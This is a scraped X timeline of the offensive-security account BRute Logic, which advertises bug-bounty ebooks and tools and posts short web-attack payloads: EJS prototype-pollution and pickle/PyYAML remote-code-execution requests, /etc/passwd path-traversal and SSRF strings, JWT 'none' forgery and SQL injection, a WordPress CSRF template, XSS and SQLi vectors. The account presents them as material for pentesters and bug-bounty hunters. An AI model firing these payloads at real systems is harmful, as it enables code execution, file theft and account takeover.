Tweets

We are on X
brutelogic BRute Logic @brutelogic ·
10 Jun

3 Methods, 3 Levels

[ base64 ]
YnJ1dGU=

[ AES ]
RmnVLVQ/x45ZbDfUnOp7hw==

[ bcrypt ]
$2b$12$T2hEfL9HDXzS5kZuqvC1hOdzYOsLZnVjs04Fd4/fPLf/kztfYhhSq

#crackme

brutelogic BRute Logic @brutelogic ·
9 Jun

Brute One v0.2 with JBroken

Our proprietary tool to handle all the cases of our testbed at https://403.brutelogic.net/authz/jwt

Fully automated with FFF - Find, Forge and Fire PoC

Available at


#hack2earn #bugbounty #jwt

BRute Logic @BRuteLogic

JWT Auth Bypass TestBed

http://403.brutelogic.net/authz/jwt

Test your skills: 18 main tests with variations.

A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds.

https://brutelogic.net/brute-one

brutelogic BRute Logic @brutelogic ·
8 Jun

JWT Auth Bypass TestBed

http://403.brutelogic.net/authz/jwt

Test your skills: 18 main tests with variations.

A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds.

https://brutelogic.net/brute-one

Retweet on Twitter BRute Logic Retweeted
brutelogic BRute Logic @brutelogic ·
6 Jun

This Week on BRute Logic

Review Your Recon Skills
https://x.com/BRuteLogic/status/2061456483255190008

New Ebook - Broken Token: JWT
https://x.com/BRuteLogic/status/2061818871074685187

JWT SQL Injection (jti)
https://x.com/BRuteLogic/status/2062181258981970265

Node.js RCE via EJS (<v6.0.0-alpha)
https://x.com/BRuteLogic/status/2062548679983284549

Check our timeline for more.

brutelogic BRute Logic @brutelogic ·
6 Jun

This Week on BRute Logic

Review Your Recon Skills
https://x.com/BRuteLogic/status/2061456483255190008

New Ebook - Broken Token: JWT
https://x.com/BRuteLogic/status/2061818871074685187

JWT SQL Injection (jti)
https://x.com/BRuteLogic/status/2062181258981970265

Node.js RCE via EJS (<v6.0.0-alpha)


Check our timeline for more.

BRute Logic @BRuteLogic

Node.js RCE via EJS (<v6.0.0-alpha)

Unsafe merge - Prototype Pollution leading to RCE via template rendering.

{"__proto__":{"client":true,"escapeFunction":"function(){return process.mainModule.require('child_process').spawnSync('id').stdout;};//"}}

#node #rce #cfbypass

Retweet on Twitter BRute Logic Retweeted
brutelogic BRute Logic @brutelogic ·
2 Jun

Broken Token - JWT

New ebook, the first of the series.

Master every way to break JSON Web Tokens:

• Algorithm confusion
• Key injection
• Claim manipulation
• Format attacks

+ Original research

Essential for bug bounty hunters & pentesters.

brutelogic BRute Logic @brutelogic ·
4 Jun

Node.js RCE via EJS (<v6.0.0-alpha)

Unsafe merge - Prototype Pollution leading to RCE via template rendering.

{"__proto__":{"client":true,"escapeFunction":"function(){return process.mainModule.require('child_process').spawnSync('id').stdout;};//"}}

#node #rce #cfbypass

brutelogic BRute Logic @brutelogic ·
3 Jun

JWT SQL Injection

jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.

"jti": "' OR '1'='1"

Try it: http://403.brutelogic.net/authz/jwt/jti

Full technique: http://brutelogic.net/ebooks/broken-token/jwt/

#hack2earn #bugbounty #jwt

brutelogic BRute Logic @brutelogic ·
2 Jun

Broken Token - JWT

New ebook, the first of the series.

Master every way to break JSON Web Tokens:

• Algorithm confusion
• Key injection
• Claim manipulation
• Format attacks

+ Original research

Essential for bug bounty hunters & pentesters.

brutelogic BRute Logic @brutelogic ·
1 Jun

Review Your Recon Skills

1. Test against reKover's testbed

http://recon.brutelogic.net

2. Add reKover to your arsenal

https://github.com/BruteLogic/reKover

- Reduce the noise, increase the signal.

Retweet on Twitter BRute Logic Retweeted
brutelogic BRute Logic @brutelogic ·
30 May

This Week on Brute Logic

Parsing Confusion - Cloud Pipelines
https://x.com/BRuteLogic/status/2058919768200004047

Path Traversal Bypasses
https://x.com/BRuteLogic/status/2059282155948449811

Leaking httpOnly Cookies for ATO
https://x.com/BRuteLogic/status/2059644544740692421

Python RCE - Pickle & PyYAML
https://x.com/BRuteLogic/status/2060038535575384522

Check our timeline for more.

brutelogic BRute Logic @brutelogic ·
30 May

This Week on Brute Logic

Parsing Confusion - Cloud Pipelines
https://x.com/BRuteLogic/status/2058919768200004047

Path Traversal Bypasses
https://x.com/BRuteLogic/status/2059282155948449811

Leaking httpOnly Cookies for ATO
https://x.com/BRuteLogic/status/2059644544740692421

Python RCE - Pickle & PyYAML


Check our timeline for more.

BRute Logic @BRuteLogic

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

brutelogic BRute Logic @brutelogic ·
30 May

Last call, ending this weekend.

KNOXSS - Comprehensive XSS Tool
http://knoxss.pro

Ebooks - First Bounty, SSRF, Bypass
http://brutelogic.net/ebooks

Brute One - Tool Enabled AI Assistant
http://brutelogic.net/brute-one

#BugBounty #PenTesting

brutelogic BRute Logic @brutelogic ·
29 May

POST /api/update HTTP/1.1
Host: http://target.com
Content-Type: application/x-www-form-urlencoded
Content-Type: application/json

{"test": true}

brutelogic BRute Logic @brutelogic ·
28 May

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

brutelogic BRute Logic @brutelogic ·
27 May

Leaking httpOnly Cookies for ATO

1. Trigger DEBUG errors by adding a [] to a parameter name for example:

?id[]=1

2. Fetch the error page, parse and add the session cookies to the XSS ATO script.

Laravel and C# live samples below (debug enabled).

2

brutelogic BRute Logic @brutelogic ·
27 May

We provide accurate content on Offensive Cybersecurity for Bug Bounty hunting, Penetration Tests and Vulnerability Assessments.

We schedule our posts for 14:35 GMT.

Turn on notifications on our profile so you don't miss any info that might be useful for your next engagement.

brutelogic BRute Logic @brutelogic ·
26 May

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32Fpasswd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

brutelogic BRute Logic @brutelogic ·
25 May

Parsing Confusion - Cloud Pipelines

An AWS API Gateway (policy) and a downstream Node.js Lambda (execution) use different engines.

One layer takes the first value, the other layer takes the second.

Always use TRUE and FALSE at the same time.

brutelogic BRute Logic @brutelogic ·
25 May

/server-status
403 Forbidden

/server%2Dstatus
200 OK

Program: Slack
Year: 2016
Bounty: 2k

#hack2earn

Retweet on Twitter BRute Logic Retweeted
brutelogic BRute Logic @brutelogic ·
23 May

This Week on Brute Logic

PHP Null Byte Trick
https://x.com/BRuteLogic/status/2056395874155078032

Brute One Web Search
https://x.com/BRuteLogic/status/2056411691596837323

SSRF Polyglots
https://x.com/BRuteLogic/status/2056745441182593355

WP CSRF Template
https://x.com/BRuteLogic/status/2057470216821449080

JWT NoAlg Bypass
https://x.com/BRuteLogic/status/2057107828863598594

#BugBounty #PenTesting #WebAppSec

brutelogic BRute Logic @brutelogic ·
23 May

This Week on Brute Logic

PHP Null Byte Trick
https://x.com/BRuteLogic/status/2056395874155078032

Brute One Web Search
https://x.com/BRuteLogic/status/2056411691596837323

SSRF Polyglots
https://x.com/BRuteLogic/status/2056745441182593355

WP CSRF Template
https://x.com/BRuteLogic/status/2057470216821449080

JWT NoAlg Bypass


#BugBounty #PenTesting #WebAppSec

BRute Logic @BRuteLogic

JWT NoAlg Bypass (no sig needed)

Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Change the fields accordingly if needed.

echo '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."

#BugBounty #BrokenAuth

brutelogic BRute Logic @brutelogic ·
22 May

When they think "the frontend handles that".

brutelogic BRute Logic @brutelogic ·
21 May

WP CSRF Hunting Template

<body onload=forms[0].submit()>
<form action=//TARGET/wp-admin/admin-ajax.php method=post>
<input name=action value=NAME>
<input name=_wpnonce value=any>
<!-- add inputs -->

Directions
1. Grep wp_ajax_ in plugin
2. No check_ajax_referer? Fill NAME, fire

brutelogic BRute Logic @brutelogic ·
20 May

JWT NoAlg Bypass (no sig needed)

Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Change the fields accordingly if needed.

echo '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."

#BugBounty #BrokenAuth

brutelogic BRute Logic @brutelogic ·
19 May

SSRF Payloads for LFR/LFD

file:/etc//passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:${br}/et${u}c%252Fpas${te}swd%3F/
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/

SSRF POLYGLOT
file:///etc/./passwd?/../passwd

#CF403

brutelogic BRute Logic @brutelogic ·
18 May

Web search with Brute One
http://brutelogic.net/brute-one

brutelogic BRute Logic @brutelogic ·
18 May

PHP Null Byte on Parameter Trick
Use to fool WAFs that decode before parsing.

It might consider the anchor with dangling (but harmless) markup instead of the real vector.

param%00p%3D<A/Href="<Svg/OnLoad=alert(1)//

More on

PoC https://gym.brutelogic.net/?p05%00p%3D%3CA/Href=%22%3CSvg/OnLoad=alert(1)//

Retweet on Twitter BRute Logic Retweeted
brutelogic BRute Logic @brutelogic ·
16 May

This Week on Brute Logic

Brute May - Promo 50% OFF
https://x.com/BRuteLogic/status/2053842316712878219

RCE Payloads - Java, JS and Python
https://x.com/BRuteLogic/status/2054226700423123097

Localhost Obfuscation - BAC, LFD and SSRF
https://x.com/BRuteLogic/status/2054513716876480732

SQLi Polyglot - MySQL
https://x.com/BRuteLogic/status/2055263804745810296

Check our timeline for more.

brutelogic BRute Logic @brutelogic ·
16 May

This Week on Brute Logic

Brute May - Promo 50% OFF
https://x.com/BRuteLogic/status/2053842316712878219

RCE Payloads - Java, JS and Python
https://x.com/BRuteLogic/status/2054226700423123097

Localhost Obfuscation - BAC, LFD and SSRF
https://x.com/BRuteLogic/status/2054513716876480732

SQLi Polyglot - MySQL


Check our timeline for more.

BRute Logic @BRuteLogic

Spray & Pray

and-1/*'/*"/**/||1--\

#SQLi #MySQL
brutelogic BRute Logic @brutelogic ·
15 May

Spray & Pray

and-1/*'/*"/**/||1--\

#SQLi #MySQL

brutelogic BRute Logic @brutelogic ·
14 May

Sharp and accurate content on offensive cybersecurity (web hacking), bug bounty and AI.

Don't miss anything — check our timeline from time to time or hit the bell to get notified.

brutelogic BRute Logic @brutelogic ·
14 May

Found mobile UI bugs on @Hacker0x01. Reporting now, hope they are responsive.

brutelogic BRute Logic @brutelogic ·
13 May

AI will only replace you if all you do is to run tools.

brutelogic BRute Logic @brutelogic ·
11 May

Brute May - 50% OFF

Coupon Code
BRUTE50

KNOXSS
https://knoxss.pro

Brute One
https://brutelogic.net

Ebooks
https://brutelogic.net/ebooks

Valid until May 31st 2026.
#XSS #SSRF #Bypass #AI #BugBounty

Load More